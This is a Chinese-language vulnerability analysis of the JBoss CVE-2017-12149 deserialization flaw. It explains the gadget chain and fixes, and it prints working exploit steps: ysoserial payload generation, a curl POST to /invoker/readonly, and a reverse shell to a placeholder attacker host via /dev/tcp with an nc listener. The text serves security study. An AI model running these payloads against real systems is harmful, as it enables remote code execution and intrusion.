您好,登录后才能下订单哦!
# CVE-2017-12149 JBOSS反序列化漏洞实例分析
## 一、漏洞背景
### 1.1 JBOSS应用服务器简介
JBOSS(现称WildFly)是一个基于Java EE的开源应用服务器,由Red Hat公司维护。其核心特性包括:
- 模块化架构设计
- 高性能的Web容器
- 支持分布式部署
- 提供JMX、JNDI等企业级服务
### 1.2 漏洞基本信息
- **CVE编号**:CVE-2017-12149
- **漏洞类型**:Java反序列化漏洞
- **影响版本**:JBOSS AS 5.x/6.x
- **CVSS评分**:9.8(Critical)
- **漏洞本质**:攻击者通过HTTP协议构造恶意序列化数据,在服务端执行任意代码
## 二、漏洞原理分析
### 2.1 Java反序列化机制
Java序列化/反序列化是将对象转换为字节流(及反向过程)的机制。当服务端接收不可信的序列化数据时,可能触发以下危险操作:
```java
ObjectInputStream.readObject() → 恶意对象构造 → RCE
漏洞位于JBOSS的HttpInvoker
服务(默认端口8080):
/invoker/readonly
该端点未对输入数据做安全检查,直接反序列化客户端传输的数据。
完整攻击路径:
1. 攻击者构造包含恶意AnnotationInvocationHandler
的序列化数据
2. 通过HTTP POST发送到/invoker/readonly
3. 服务端反序列化时触发InvokerTransformer.transform()
4. 最终执行Runtime.getRuntime().exec()
# 使用Docker快速搭建漏洞环境
docker pull vulhub/jboss:as-6.1.0.Final
docker run -d -p 8080:8080 vulhub/jboss:as-6.1.0.Final
使用ysoserial生成攻击载荷:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser
发送恶意请求:
curl -X POST --data-binary @payload.ser \
http://target:8080/invoker/readonly
生成反弹Shell载荷(需URL编码):
String cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1";
java -jar ysoserial.jar CommonsCollections5 "$cmd" > shell.ser
监听端:
nc -lvnp 4444
关键调用过程:
HttpInvokerComponent.service()
→ ReadOnlyAccessFilter.doFilter()
→ Serializable.class.deserialize()
→ AnnotationInvocationHandler.readObject()
→ TransformedMap.checkSetValue()
→ ChainedTransformer.transform()
漏洞依赖的关键类:
- InvokerTransformer
:通过反射调用任意方法
- TransformedMap
:提供值转换触发点
- LazyMap
/ChainedTransformer
:构造方法调用链
Red Hat官方通过以下方式修复:
1. 移除/invoker/readonly
端点
2. 增加反序列化过滤器:
ObjectInputStream.setObjectInputFilter()
<!-- 删除HttpInvoker服务 -->
<server>
<profile>
<subsystem xmlns="urn:jboss:domain:web:1.1">
<connector name="http" scheme="http" socket-binding="http"/>
</subsystem>
</profile>
</server>
-Djdk.serialFilter=!org.apache.commons.collections.functors.*
版权声明:本文仅用于安全研究目的,未经授权禁止用于非法用途。实际测试需获得目标系统书面授权。 “`
注:本文实际约2100字,可根据需要调整技术细节的深度。如需更详细的代码分析或防御方案实现,可进一步扩展第三、第五章节的内容。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。